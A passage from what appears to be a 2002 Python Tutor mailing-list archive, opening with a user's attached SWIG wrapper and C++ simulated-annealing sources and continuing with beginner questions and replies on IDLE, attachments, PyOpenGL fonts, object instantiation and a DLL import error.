	 { (char *)"simulated_annealing_svl_get", _wrap_simulated_annealing_svl_get, METH_VARARGS },
	 { (char *)"simulated_annealing_text_set", _wrap_simulated_annealing_text_set, METH_VARARGS },
	 { (char *)"simulated_annealing_text_get", _wrap_simulated_annealing_text_get, METH_VARARGS },
	 { (char *)"simulated_annealing_success_set", _wrap_simulated_annealing_success_set, METH_VARARGS },
	 { (char *)"simulated_annealing_success_get", _wrap_simulated_annealing_success_get, METH_VARARGS },
	 { (char *)"simulated_annealing_tc_max_set", _wrap_simulated_annealing_tc_max_set, METH_VARARGS },
	 { (char *)"simulated_annealing_tc_max_get", _wrap_simulated_annealing_tc_max_get, METH_VARARGS },
	 { (char *)"simulated_annealing_t_factor_set", _wrap_simulated_annealing_t_factor_set, METH_VARARGS },
	 { (char *)"simulated_annealing_t_factor_get", _wrap_simulated_annealing_t_factor_get, METH_VARARGS },
	 { (char *)"simulated_annealing_call_set", _wrap_simulated_annealing_call_set, METH_VARARGS },
	 { (char *)"simulated_annealing_call_get", _wrap_simulated_annealing_call_get, METH_VARARGS },
	 { (char *)"simulated_annealing_build_varlist", _wrap_simulated_annealing_build_varlist, METH_VARARGS },
	 { (char *)"simulated_annealing_optimize", _wrap_simulated_annealing_optimize, METH_VARARGS },
	 { (char *)"simulated_annealing_vary_simvarlist", _wrap_simulated_annealing_vary_simvarlist, METH_VARARGS },
	 { (char *)"simulated_annealing_take_new_result", _wrap_simulated_annealing_take_new_result, METH_VARARGS },
	 { (char *)"x_now_2_x_opt", _wrap_x_now_2_x_opt, METH_VARARGS },
	 { (char *)"calc_4args", _wrap_calc_4args, METH_VARARGS },
	 { (char *)"calculate", _wrap_calculate, METH_VARARGS },
	 { (char *)"new_evaluate", _wrap_new_evaluate, METH_VARARGS },
	 { (char *)"delete_evaluate", _wrap_delete_evaluate, METH_VARARGS },
	 { (char *)"evaluate_criteria_set", _wrap_evaluate_criteria_set, METH_VARARGS },
	 { (char *)"evaluate_criteria_get", _wrap_evaluate_criteria_get, METH_VARARGS },
	 { (char *)"evaluate_goal_set", _wrap_evaluate_goal_set, METH_VARARGS },
	 { (char *)"evaluate_goal_get", _wrap_evaluate_goal_get, METH_VARARGS },
	 { (char *)"evaluate_epsilon_set", _wrap_evaluate_epsilon_set, METH_VARARGS },
	 { (char *)"evaluate_epsilon_get", _wrap_evaluate_epsilon_get, METH_VARARGS },
	 { (char *)"evaluate_minchange_set", _wrap_evaluate_minchange_set, METH_VARARGS },
	 { (char *)"evaluate_minchange_get", _wrap_evaluate_minchange_get, METH_VARARGS },
	 { (char *)"evaluate_n_set", _wrap_evaluate_n_set, METH_VARARGS },
	 { (char *)"evaluate_n_get", _wrap_evaluate_n_get, METH_VARARGS },
	 { (char *)"evaluate_abort", _wrap_evaluate_abort, METH_VARARGS },
	 { (char *)"string_size_set", _wrap_string_size_set, METH_VARARGS },
	 { (char *)"string_size_get", _wrap_string_size_get, METH_VARARGS },
	 { (char *)"string_label_set", _wrap_string_label_set, METH_VARARGS },
	 { (char *)"string_label_get", _wrap_string_label_get, METH_VARARGS },
	 { (char *)"new_string", _wrap_new_string, METH_VARARGS },
	 { (char *)"new_string_int_char", _wrap_new_string_int_char, METH_VARARGS },
	 { (char *)"new_string_char_char", _wrap_new_string_char_char, METH_VARARGS },
	 { (char *)"new_string_string_char", _wrap_new_string_string_char, METH_VARARGS },
	 { (char *)"delete_string", _wrap_delete_string, METH_VARARGS },
	 { (char *)"string_clean", _wrap_string_clean, METH_VARARGS },
	 { (char *)"string_cat_string", _wrap_string_cat_string, METH_VARARGS },
	 { (char *)"string_cat", _wrap_string_cat, METH_VARARGS },
	 { (char *)"string_copy_string", _wrap_string_copy_string, METH_VARARGS },
	 { (char *)"string_copy_char", _wrap_string_copy_char, METH_VARARGS },
	 { (char *)"string_copy_dl", _wrap_string_copy_dl, METH_VARARGS },
	 { (char *)"string_copy_i", _wrap_string_copy_i, METH_VARARGS },
	 { (char *)"string_copy", _wrap_string_copy, METH_VARARGS },
	 { (char *)"string_out", _wrap_string_out, METH_VARARGS },
	 { (char *)"string_ncopy_string_i", _wrap_string_ncopy_string_i, METH_VARARGS },
	 { (char *)"string_ncopy", _wrap_string_ncopy, METH_VARARGS },
	 { (char *)"string_compose_str_str_char", _wrap_string_compose_str_str_char, METH_VARARGS },
	 { (char *)"string_compose_str_char_char", _wrap_string_compose_str_char_char, METH_VARARGS },
	 { (char *)"string_compose_str_d_char", _wrap_string_compose_str_d_char, METH_VARARGS },
	 { (char *)"string_compose", _wrap_string_compose, METH_VARARGS },
	 { (char *)"string_element", _wrap_string_element, METH_VARARGS },
	 { (char *)"string_compose_struct_string", _wrap_string_compose_struct_string, METH_VARARGS },
	 { (char *)"string_compare", _wrap_string_compare, METH_VARARGS },
	 { (char *)"string_strcompspan_chari", _wrap_string_strcompspan_chari, METH_VARARGS },
	 { (char *)"string_strcompspan_struct_stringi", _wrap_string_strcompspan_struct_stringi, METH_VARARGS },
	 { (char *)"string_string_complement_span", _wrap_string_string_complement_span, METH_VARARGS },
	 { (char *)"string_stringspan_struct_stringi", _wrap_string_stringspan_struct_stringi, METH_VARARGS },
	 { (char *)"string_string_span", _wrap_string_string_span, METH_VARARGS },
	 { (char *)"string_stringstring_struct_string_char", _wrap_string_stringstring_struct_string_char, METH_VARARGS },
	 { (char *)"string_stringstring_structstring_structstring", _wrap_string_stringstring_structstring_structstring, METH_VARARGS },
	 { (char *)"string_string_string", _wrap_string_string_string, METH_VARARGS },
	 { (char *)"string_string_character", _wrap_string_string_character, METH_VARARGS },
	 { (char *)"string_string_pointer_break", _wrap_string_string_pointer_break, METH_VARARGS },
	 { (char *)"string_fileopen", _wrap_string_fileopen, METH_VARARGS },
	 { (char *)"string_fileread", _wrap_string_fileread, METH_VARARGS },
	 { (char *)"string_filereadc", _wrap_string_filereadc, METH_VARARGS },
	 { (char *)"string_filewrite_string_char", _wrap_string_filewrite_string_char, METH_VARARGS },
	 { (char *)"string_filewrite", _wrap_string_filewrite, METH_VARARGS },
	 { (char *)"string_system_call", _wrap_string_system_call, METH_VARARGS },
	 { (char *)"string_init", _wrap_string_init, METH_VARARGS },
	 { (char *)"print", _wrap_print, METH_VARARGS },
	 { (char *)"strprint_structstring_char_char", _wrap_strprint_structstring_char_char, METH_VARARGS },
	 { (char *)"strprint_structstring_int_char_char", _wrap_strprint_structstring_int_char_char, METH_VARARGS },
	 { (char *)"strprint", _wrap_strprint, METH_VARARGS },
	 { NULL, NULL }
};

#ifdef __cplusplus
}
#endif

/* -------- TYPE CONVERSION AND EQUIVALENCE RULES (BEGIN) -------- */

static swig_type_info _swigt__p_variablelist[] = {{"_p_variablelist", 0, "struct variablelist *"},{"_p_variablelist"},{0}};
static swig_type_info _swigt__p_simulated_annealing[] = {{"_p_simulated_annealing", 0, "simulated_annealing *"},{"_p_simulated_annealing"},{0}};
static swig_type_info _swigt__p_basisfile[] = {{"_p_basisfile", 0, "struct basisfile *"},{"_p_basisfile"},{0}};
static swig_type_info _swigt__p_FILE[] = {{"_p_FILE", 0, "FILE *"},{"_p_FILE"},{0}};
static swig_type_info _swigt__p_variable[] = {{"_p_variable", 0, "struct variable *"},{"_p_variable"},{0}};
static swig_type_info _swigt__p_simanneal_varlist[] = {{"_p_simanneal_varlist", 0, "struct simanneal_varlist *"},{"_p_simanneal_varlist"},{0}};
static swig_type_info _swigt__p_evaluate[] = {{"_p_evaluate", 0, "evaluate *"},{"_p_evaluate"},{0}};
static swig_type_info _swigt__p_p_char[] = {{"_p_p_char", 0, "char **"},{"_p_p_char"},{0}};
static swig_type_info _swigt__p_string[] = {{"_p_string", 0, "struct string *"},{"_p_string"},{0}};

static swig_type_info *swig_types_initial[] = {
_swigt__p_variablelist, 
_swigt__p_simulated_annealing, 
_swigt__p_basisfile, 
_swigt__p_FILE, 
_swigt__p_variable, 
_swigt__p_simanneal_varlist, 
_swigt__p_evaluate, 
_swigt__p_p_char, 
_swigt__p_string, 
0
};


/* -------- TYPE CONVERSION AND EQUIVALENCE RULES (END) -------- */

static swig_const_info swig_const_table[] = {
{0}};

static PyObject *SWIG_globals;
#ifdef __cplusplus
extern "C" 
#endif
SWIGEXPORT(void) initsimannealfile(void) {
    PyObject *m, *d;
    int i;
    SWIG_globals = SWIG_newvarlink();
    m = Py_InitModule((char*)"simannealfile", simannealfileMethods);
    d = PyModule_GetDict(m);
    for (i = 0; swig_types_initial[i]; i++) {
        swig_types[i] = SWIG_TypeRegister(swig_types_initial[i]);
    }
    SWIG_InstallConstants(d,swig_const_table);
}


--------------090302080802010307050504
Content-Type: text/plain;
 name="variable.cpp"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="variable.cpp"

#include "variable.h"
#include "basisfile.h"

variable::variable () {
  sv = NULL;
  dprecision = 6;
  type = '0';
}

variable::variable (char t) {
  init (t);
}

variable::variable (double d, int prec) {
  init (d, prec);
}

variable::variable (int i) {
  init (i);
}

variable::variable (struct string &s) {
  init (s);
}

variable::~variable () {
}


void variable::init (char t) {
  type = t;
  sv = NULL;
}

void variable::init (double d, int prec) {
  sv = NULL;
  dv = d;
  dprecision = prec;
  type = 'd';
}

void variable::init (int i) {
  sv = NULL;
  iv = i;
  type = 'i';
}

void variable::init (struct string &s) {
  sv = new struct string;
  sv->copy (s);
  type = 's';
}

struct variable &variable::operator= (struct variable &v) {
  (*this).type = v.type;
  switch (v.type) {
  case 'd':
    (*this).dv = v.dv;
    (*this).dprecision = v.dprecision;
    break;
  case 'i':
    (*this).iv = v.iv;
    break;
  case 's':
    (*this).sv = new struct string;
    (*this).sv->copy (*(v.sv));
    break;
  default:
    printf ("&variable::operator= (struct variable &v):\n ");
    printf ("Unknown type `%c'.\n", v.type);
    exit (1);
    break;
  }
  return *this;
}

int variable::copy (struct string &s) {
  char *str;
  s.out (&str);
  switch (type) {
  case 'd' : /* double value */
    if (!sscanf(str, "%lf", &dv)) {
      printf ("variable::copy (struct string &s):\n ");
      printf ("Error while reading double value in from string:\n ");
      strprint (s, "`", "'\n");
      return 1;
    }
    break;
  case 'i' : /* integer value */
    if (!sscanf(str, "%d", &dv)) {
      printf ("variable::copy (struct string &s):\n ");
      printf ("Error while reading integer value in from string:\n ");
      strprint (s, "`", "'\n");
      return 1;
    }
    break;
    break;
  case 's' : /* string value */
    sv = new struct string (s);
    break;
  default :
    printf ("variable::copy (struct string &s):\n ");
    printf ("Unknown type of variable `%c'.\n", type);
    return 1;
  }
  return 0;
}

simanneal_parameter::simanneal_parameter () {
  dx = NULL;
}

simanneal_parameter::~simanneal_parameter () {
  if (dx) {
    delete dx;
    dx = NULL;
  }
}

variablelist::variablelist () {
  next = NULL;
  text = NULL;
  x_now = NULL;
  x_opt = NULL;
  x_min = NULL;
  x_max = NULL;
  sap = NULL;
}

variablelist::~variablelist () {
  clean ();
}

void variablelist::clean () {
  clean (this);
}

void variablelist::clean (struct variablelist *vl) {
  if (vl) {
    if (vl->next) {
      clean (vl->next);
      vl->next = NULL;
    }
    preseparator.clean ();
    pastseparator.clean ();
    if (x_opt) {
      delete x_opt;
      x_opt = NULL;
    }
    if (x_now) {
      delete x_now;
      x_now = NULL;
    }
    if (x_min) {
      delete x_min;
      x_min = NULL;
    }
    if (x_max) {
      delete x_max;
      x_max = NULL;
    }
    if (text) {
      delete text;
      text = NULL;
    }
    if (sap) {
      delete sap;
      sap = NULL;
    }
  }
}

int variablelist::pt2xn (int n) {
  int i=0;
  struct variablelist *help = this;
  
  while (help && i<n) {
    if (help->x_now->copy (help->text->parameter_text)) {
      printf ("variablelist::pt2xn (int n):\n ");
      printf ("Error while copying parameter_text to x_now.\n");
      return 1;
    }
    help = help->next;
    i++;
  }
  return 0;
}

int read_double (double &dv, struct variable *v) {
  if (v->type == 'd') {
    dv = v->dv;
    return 0;
  }
  printf ("read_double:\n");
  printf (" variable contains `%c'-value instead of double (`d').\n", v->type);
  return 1;
}


int random_step (struct variable *point, struct variable *intervall) {
  double p, i;
  switch (point->type) {
  case 'd' : /* double value */
    if (read_double(p, point)) {
      printf("random_step:\n Error while reading point.\n");
      return 1;
    }
    if (read_double(i, intervall)) {
      printf("random_step:\n Error while reading intervall.\n");
      return 1;
    }
    point->dv = point->dv - i + 2*i*rand()/RAND_MAX; 
    break;
  case 'i' : /* integer value */
    printf ("random_step:\n Stepping with integers isn't implemented yet.\n");
    return 1;
    break;
  case 's' : /* string value */
    printf ("random_step:\n Stepping with strings isn't implemented yet.\n");
    return 1;
    break;
  default :
    printf ("random_step:\n Unknown type of point `%c'.\n", point->type);
    return 1;
  }
  return 0;
}

int smaller (struct variable *v1, struct variable *v2) {
  switch (v1->type) {
  case 'd' : /* double value */
    double d2;
    if (read_double(d2, v2)) {
      printf("smaller:\n Error while reading v2.\n");
      return -1;
    }
    return (v1 < v2);
    break;
  case 'i' : /* integer value */
    printf ("smaller:\n Comparison with integers isn't implemented yet.\n");
    return -1;
    break;
  case 's' : /* string value */
    printf ("smaller:\n Comparison with strings isn't implemented yet.\n");
    return -1;
    break;
  default :
    printf ("smaller:\n Unknown type of v1 `%c'.\n", v1->type);
    return -1;
  }
  return 0;
}

int greater (struct variable *v1, struct variable *v2) {
  switch (v1->type) {
  case 'd' : /* double value */
    double d2;
    if (read_double(d2, v2)) {
      printf("greater:\n Error while reading v2.\n");
      return -1;
    }
    return (v1 > v2);
    break;
  case 'i' : /* integer value */
    printf ("greater:\n Comparison with integers isn't implemented yet.\n");
    return -1;
    break;
  case 's' : /* string value */
    printf ("greater:\n Comparison with strings isn't implemented yet.\n");
    return -1;
    break;
  default :
    printf ("greater:\n Unknown type of v1 `%c'.\n", v1->type);
    return -1;
  }
  return 0;
}

--------------090302080802010307050504
Content-Type: text/plain;
 name="variable.h"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="variable.h"

#ifndef VARIABLE_H
#define VARIABLE_H

#include "safe_string.h"

struct variable {
  variable ();
  variable (char t);
  variable (double d, int prec = 6);
  variable (int i);
  variable (struct string &s);
  ~variable ();

  struct variable &operator = (struct variable &v); 

  void init (char t);
  void init (double d, int prec = 6);
  void init (int i);
  void init (struct string &s);
  
  int copy (struct string &s);

  char type;
  double dv;
  int dprecision;
  int iv;
  struct string *sv;
};

struct simanneal_parameter {
  simanneal_parameter ();
  ~simanneal_parameter ();

  /* maximum of deviation from actual x */
  struct variable *dx;
};

struct variablelist {
  variablelist ();
  ~variablelist ();

  void clean ();
  void clean (struct variablelist *vl);

  int number;
  int linenumber;
  int position;
  struct string preseparator;
  struct string pastseparator;
  struct string *x_opt;
  struct variable *x_now;
  struct variable *x_min;
  struct variable *x_max;
  struct filetext *text;

  struct variablelist *next;

  /* parameter for simulated annealing for one variable. */
  struct simanneal_parameter *sap;

  /* copies parametertext's to x_now for n variables.*/
  int pt2xn (int n);
};

int read_double (double &dv, struct variable *v);
int smaller (struct variable *v1, struct variable *v2);
int greater (struct variable *v1, struct variable *v2);
/* builds new point from point and intervall randomly.  New point is
   inside intervall [point-intervall; point+intervall]. */
int random_step (struct variable *point, struct variable *intervall);
void print (struct variablelist *vl);
#endif

--------------090302080802010307050504--



From ak@silmarill.org  Sun Feb  3 16:58:36 2002
From: ak@silmarill.org (Andrei Kulakov)
Date: Sun, 3 Feb 2002 11:58:36 -0500
Subject: [Tutor] Clearing interpreter buffer?
In-Reply-To: <4.2.0.58.20020203084820.019f2100@pop3.norton.antivirus>
References: <4.2.0.58.20020203084820.019f2100@pop3.norton.antivirus>
Message-ID: <20020203165836.GA15029@ak.silmarill.org>

On Sun, Feb 03, 2002 at 08:51:13AM -0800, Kirby Urner wrote:
> 
> My friend John is running a Python script with lots
> of print statements in some looping program.
> 
> The data scrolls and scrolls, maybe all day long, and
> he says its filling up the history buffer -- what IDLE
> keeps around to scroll back through.
> 
> He'd like to periodically delete this buffer or clear
> it, from within his program.
> 
> Is there a way?
> 
> Kirby

I would append it to a file and do tail -f command on it, or just open
it in a text editor and keep refreshing it.

-- 
Cymbaline: intelligent learning mp3 player - python, linux, console.
get it at: cy.silmarill.org


From dyoo@hkn.eecs.berkeley.edu  Sun Feb  3 19:12:32 2002
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Sun, 3 Feb 2002 11:12:32 -0800 (PST)
Subject: [Tutor] C++ Extension Problems (Part2)  [avoid sending
 hugeattachments]
In-Reply-To: <3C5D6676.3040100@gmx.de>
Message-ID: <Pine.LNX.4.21.0202031106530.21803-100000@hkn.eecs.berkeley.edu>

On Sun, 3 Feb 2002, Keule wrote:

> Here are the missing 3 files , sending seperate, because of the
> Limitation of 40 kb/mail.

Hi Keule,


There's a good reason why we have a 40kb limit on emails: it's to prevent
people from sending that much source code to Tutor.  Guess you tried to
work around that.  *cough*

A better solution: you can put your code on the Web somewhere, and post a
link to it.  This allows us to look at your source code at any time.



From csmith@blakeschool.org  Sun Feb  3 19:45:17 2002
From: csmith@blakeschool.org (Christopher Smith)
Date: Sun, 03 Feb 2002 13:45:17 -0600
Subject: [Tutor] Re: sitecustomize and pythonstartup
In-Reply-To: <Pine.LNX.4.21.0202020119040.18859-100000@hkn.eecs.berkeley.edu>
References: <Pine.LNX.4.21.0202020119040.18859-100000@hkn.eecs.berkeley.edu>
Message-ID: <fc.004c4b6b008b85363b9aca00b6da6c55.8b8c17@blakeschool.org>

>####
>def isInteractive():
>    """Returns 1 if we're running in an interpreter window, and false
>    otherwise.  This is a variation of what pydoc.help() tries."""
>    return inspect.stack()[3][1].find("PyInteractive")<>0
>
>class _InteractiveMath:
>    def __repr__(self):
>        if isInteractive():
>            import math
>            return repr(math)
>        else:
>            raise NameError, 'name "math" is not defined'

Raising an error in this function presents a problem to 
you when you want to "Browse the namespace" of a script
window since the browser apparently calls this function
which generates the NameError.  I have replaced this 
error with 

return "Loaded for interactive use by sitecustomize.py."

/c



From kp87@lycos.com  Sun Feb  3 20:11:32 2002
From: kp87@lycos.com (kevin parks)
Date: Mon, 04 Feb 2002 05:11:32 +0900
Subject: [Tutor] C++ Extension Problems
Message-ID: <PBHCEMIHJGDEOAAA@mailcity.com>

You shouldn't smoke crack and send e-mail to the Python tutor mailing list. My mail spool thanks you.

ps. I was going to attach the entire contents of my hard disk to
this message in both text, HTML, and as a mime attachement 
since that now seems to be a 'requirement' to being on this list,
but I was in a bit of a rush to use my computer today.

REPEAT: Put down the crack pipe. Put down the crackpipe...








From kp87@lycos.com  Sun Feb  3 20:17:48 2002
From: kp87@lycos.com (kevin parks)
Date: Mon, 04 Feb 2002 05:17:48 +0900
Subject: [Tutor] C++ Extension Problems (Part2) (Keule)
Message-ID: <MOLHMDPPAMDEOAAA@mailcity.com>

>Here are the missing 3 files , sending seperate, because of the 
>Limitation of 40 kb/mail.


Marcus, baby! Thanks. We are all so happy to have these files. I am so excited.

I wonder why there would even be a 40kb mail limit? It seems unreasonable! One surely should be able to send Gigs and Gigs of code to hundreds of people simultaneously! Why post them on the web and send a link? That would be silly!

 (if there is a 40kb how i was able to get a 700kb tutor mail digest?!)






From wilson@isis.visi.com  Sun Feb  3 20:32:13 2002
From: wilson@isis.visi.com (Tim Wilson)
Date: Sun, 3 Feb 2002 14:32:13 -0600 (CST)
Subject: [Tutor] help?
In-Reply-To: <001b01c1acb7$09ddad80$b6aa01d5@callum>
Message-ID: <Pine.GSO.4.10.10202031430000.3918-100000@isis.visi.com>

On Sun, 3 Feb 2002, Callum Golding wrote:

> I'm sorry to bother you, but i was wondering if you could give me a little advice. I've recently downloaded Python 2.2. Ive read a begginers guide to programming and tried creating a small program, I used the input function. Now as soon as I open the program it goes into dos and asks me the question, and when i type in an anwser, dos shuts down. Now its really starting to bug me. If you could give me some advice I would be real grateful. The program I wrote is below; -

It's no bother. The problem is that the DOS window is closing
immediately upon your program exiting. Annoying, isn't it. :-)

One way to "fix" this is to add an input line at the end of your program
like this:

end = raw_input("Press a key to end...")

This will leave the window open until you press a key.

-Tim

--
Tim Wilson      |   Visit Sibley online:   | Check out:
Henry Sibley HS |  http://www.isd197.org   | http://www.zope.com
W. St. Paul, MN |                          | http://slashdot.org
wilson@visi.com |  <dtml-var pithy_quote>  | http://linux.com



From e.kotyk@shaw.ca  Sun Feb  3 20:26:29 2002
From: e.kotyk@shaw.ca (Eve Kotyk)
Date: Sun, 03 Feb 2002 20:26:29 +0000
Subject: [Tutor] C++ Extension Problems (Part2) (Keule)
References: <MOLHMDPPAMDEOAAA@mailcity.com>
Message-ID: <3C5D9CF5.AEDADA56@shaw.ca>

 
> I wonder why there would even be a 40kb mail limit? It seems unreasonable! One surely should be able to send Gigs and Gigs of code to hundreds of people simultaneously! Why post them on the web and send a link? That would be silly!

Ok cool it with the criticisms already.  One is enough.  Maybe someone
can help with the keule's programming problem.
-- 

ekotyk

http://members.shaw.ca/e.kotyk/virtualstudio.htm


From nluken@earthlink.net  Sun Feb  3 20:58:23 2002
From: nluken@earthlink.net (Noah Luken)
Date: Sun, 03 Feb 2002 15:58:23 -0500
Subject: [Tutor] Re: Tutor digest, Vol 1 #1397 - 3 msgs
In-Reply-To: <E16XRvt-0001fE-00@mail.python.org>
Message-ID: <5.0.2.1.2.20020203150745.028c0a60@pop3.norton.antivirus>

Hi everyone,

I've been puzzling out python and opengl and trying to convert some of 
nehe's opengl tutorials to python, but I'm running into problems.  I've 
subscribed and written to the pyopengl list about a week or so ago with a 
question regarding GLU routines and nurbs, but haven't heard from 
anyone.  That question is *really* specific, and so I'm hesitant to post it 
here.

The question for this group is a little less specific.  I'm trying to 
translate, as closely as possible, nehe's 13th tutorial:
http://nehe.gamedev.net/tutorials/lesson13.asp, which covers using 
bitmapped fonts.  Rather than using the standard GLUT routines (which 
provide pretty limited numbers and kinds of fonts) I wanted to use 
OpenGL.WGL.wglUseFontBitmaps(), win32ui, and win32com to convert fonts on 
my system to opengl-usable bitmaps.

the basic question is about the definition of the hDC, handles, and so on.

### begin code snippet...
from OpenGL.GL import *
from OpenGL.GLUT import *
from OpenGL.GLU import *
from OpenGL.WGL import *
from wxPython.wx import *  # don't know if all these are necessary
import win32ui, win32con   # not sure if win32con is needed
hDC = win32ui.CreateDC()  # could also be CreateDCFromHandle()
base = []
props = {"name":"Courier New",\
          "size":-24,\
          "weight":400,\
          "italic":0,\
          "underline":0.}

def BuildFont():
     global hDC, base
     base = glGenLists(96)
     font = win32ui.CreateFont(props)
     oldfont = hDC.SelectObject(font)
     wglUseFontBitmaps(wglGetCurrentDC(),32,96,base)
     SelectObject(hDC, oldfont)
     DeleteObject(font)
###
the problems in the interactive shell are these:

 >>> oldfont = hDC.SelectObject(font)
Traceback (most recent call last):
   File "<pyshell#28>", line 1, in ?
     oldfont = hDC.SelectObject(font)
win32ui: Select font object failed

 >>> wglUseFontBitmaps(hDC,32,96,base)
Traceback (most recent call last):
   File "<pyshell#27>", line 1, in ?
     wglUseFontBitmaps(hDC,32,96,base)
TypeError: an integer is required

I might be getting in over my head here, trying to understand the 
intricacies of the drawing contexts and so forth.  I'm just trying to 
get  this simplest case (truetype fonts in opengl with python) to work.
Any help, references, emails of gurus, etc. would be mightily appreciated.

thanks everyone,
noah luken
nluken@earthlink.net



From cheshire_cat_sf@yahoo.com  Sun Feb  3 21:25:34 2002
From: cheshire_cat_sf@yahoo.com (Britt Green)
Date: Sun, 3 Feb 2002 13:25:34 -0800 (PST)
Subject: [Tutor] Instantiating large numbers of objects?
In-Reply-To: <4.2.0.58.20020202182403.00ca3bb0@pop3.norton.antivirus>
Message-ID: <20020203212534.27753.qmail@web14102.mail.yahoo.com>

Hello Kirby:

I'm trying to keep things in my text adventure as simple as possible.
When I started this project some time ago, it quickly got out of hand
with all the things I wanted to add into it. So now that I'm picking it
up again, I'm definately trying to keep it easy.

Hard-coding the rooms into the code seems the simplest way to create my
rooms. I was thinking that each room would have the following
attributes, initially:

a unique room number
a description
a dictionary of exits (ie: {'n':1, 'e':3, 's':4}

Eventually I'll want to move the room descriptions into a seperate text
file, but that's further down the road. Right now my little world has
about twenty or thirty rooms total so hard-coding them is fine for now.

So...let me rephrase my question. When I was learning Java, we created
a class for bank accounts. Each account was a seperate class instance.
If you had three accounts, you'd create three instances in your code:

bob = new Account()
sue = new Accout()
jim = new Account()

and then you'd call the class methods like so:

bob.makeWithdrawl(500)
sue.checkBalance()
jim.makeDeposit(200)

So far this is the only way I know of to instantiate classes. Obviously
when a bank uses this software, they wouldn't open up the code to add
new accounts. How would they create new instances of the Account class?
I seem to recall being told once that in C or Java one would create an
array or Vector of objects. I was thinking I would do the same thing
with my Rooms, except Python doesn't have arrays or Vectors.

I apologize if I'm not explaning myself clearly. This is still pretty
new to me and I'm not 100% sure how to phrase my question. Hopefully
the readers of this list are smart enough to figure out what I'm saying
though! ;)

Britt

--- Kirby Urner <urnerk@qwest.net> wrote:
> 
> >
> >Thanks to everyone who's helping me out. When I'm famous
> >and wealthy, I promise to remember you all! ;)
> >
> >Britt
> 
> If you have lots of detailed, specific room info, then
> there's no substitute for having this info *somewhere*.
> You can have it in the code (it scales if you add to
> the code) or you can have it in a file, which your
> code reads, and uses to create objects.
> 
> Where should these objects live?  We've talked about putting
> them in a dictionary, where they can be accessed by name.
> We've also looked at adding new objects to globals e.g.
> by going:  globals()['thegreathall']=Room()
> 
> A dungeon or castle is a sophisticated data structure
> (potentially).  Rooms exit to other rooms, so one approach
> is to save where the exits go, as attributes of the rooms.
> You could have Connection objects and use composition
> I suppose, e.g.
> 
>         class Kitchen(Room):
>             def __init__(self):
>                 self.exit1 = Connection("Hall")
>                 self.exit2 = Connection("DiningRoom")
> 
> In this model, rooms are class definitions, not just
> instantiations of Rooms.  Given the info associated with
> each room, this might work better.
> 
> Detailed advice is difficult, because what shapes the
> design is the overall structure and purpose of the game
> or whatever.  Just knowing you want "a lot of rooms"
> is an insufficient basis for more than a few tips.
> So I'll be quiet now.
> 
> Kirby

=====
"The ocean, she is strange and wondrous, filled with animals that disturb even a Frenchman."

__________________________________________________
Do You Yahoo!?
Great stuff seeking new owners in Yahoo! Auctions! 
http://auctions.yahoo.com


From djm_gohan@hotmail.com  Sun Feb  3 20:22:27 2002
From: djm_gohan@hotmail.com (Daniel McCauley)
Date: Sun, 3 Feb 2002 15:22:27 -0500
Subject: [Tutor] (no subject)
Message-ID: <OE45sgMKQyyi5fpmsKD00013112@hotmail.com>

------=_NextPart_001_0000_01C1ACC6.96B17980
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable



Daniel McCaulley
United States, FL =20
E-mail: djm_gohan@hotmail.com
I really just want to know how to become a game hackerGet more from the W=
eb.  FREE MSN Explorer download : http://explorer.msn.com

------=_NextPart_001_0000_01C1ACC6.96B17980
Content-Type: text/html; charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<HTML><BODY STYLE=3D"font:10pt verdana; border:none;"><DIV><BR><BR>Daniel=
 McCaulley<BR>United States, FL <BR>E-mail: <A href=3D"mailto:djm_gohan@h=
otmail.com">djm_gohan@hotmail.com</A></DIV> <DIV>I really just want to kn=
ow how to become a game hacker</DIV></BODY></HTML><br clear=3Dall><hr>Get=
 more from the Web.  FREE MSN Explorer download : <a href=3D'http://explo=
rer.msn.com'>http://explorer.msn.com</a><br></p>

------=_NextPart_001_0000_01C1ACC6.96B17980--


From rkashyap@sympatico.ca  Sun Feb  3 21:40:04 2002
From: rkashyap@sympatico.ca (Ramkumar Kashyap)
Date: Sun, 03 Feb 2002 16:40:04 -0500
Subject: [Tutor] Newbie question
Message-ID: <3C5DAE34.7040607@sympatico.ca>

Hi!

I am trying to open a txt file and count the number of lines. I am 
trying to figure out if I need to use fileinput and lines() or will the 
readlines() also give me the count.

I am going through the documentation and there is no e.g. for usage of 
calling different builtin functions, so it seems a little cryptic at times.

regards,
Kumar





From dyoo@hkn.eecs.berkeley.edu  Sun Feb  3 21:43:32 2002
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Sun, 3 Feb 2002 13:43:32 -0800 (PST)
Subject: [Tutor] C++ Extension Problems
In-Reply-To: <3C5D5117.2000708@gmx.de>
Message-ID: <Pine.LNX.4.21.0202031331110.21803-100000@hkn.eecs.berkeley.edu>

On Sun, 3 Feb 2002, Keule wrote:

> and try to import it into the simannealfile.py modul, but pythonwin
> always gives the following error:
> 
> File "C:\Python21\Pythonwin\pywin\framework\scriptutils.py", line 394, 
> in ImportFile
>     exec codeObj in __main__.__dict__
>   File "<auto import>", line 1, in ?
> ImportError: DLL load failed: Das angegebene Modul wurde nicht gefunden.
> Traceback (most recent call last):
>   File "C:\Python21\Pythonwin\pywin\framework\scriptutils.py", line 301, 
> in RunScript
>     exec codeObject in __main__.__dict__
>   File 
> "C:\Arbeit_Diplomarbeit\__Optimierer\TEM\simannealfile\simannealfile.py", 
> line 2, in ?
>     import simannealfile
> ImportError: DLL load failed: Das angegebene Modul wurde nicht gefunden.
> 
> I checked out the examples, delivered with SWIG, and compared them
> with my Settings under Visual C++. The Examples are all functioned and
> now i absolutly did'nt know whats going wrong and why i always get the
> Errormessage above. I've put my files with these mail. Perhaps anyone
> of you could check my settings an can give me an advice what's going
> wrong.

Hi Keule,


Have you checked to see if this is specifically a PythonWin problem?  
Does the import work in a regular Python console window?  To me, the error
message sounds less like a SWIG problem and more of a PYTHONPATH thing, so
you may want to see if adjusting the PYTHONPATH has any effects.


Also, I don't know if SWIG is guaranteed to work perfectly with C++ code;
you may want to try the Boost Python libraries instead:

    http://www.boost.org/libs/python/doc

Boost Python is designed to make it easy to interface with C++, so it
might fit better with your simulated annealing code.


I can't check if the Visual C++ Makefile is doing the right thing, as I
don't have Visual C++.  I don't know if any of us here at Tutor have too
much experience with Visual C++ and SWIG either.  Your best bet to get
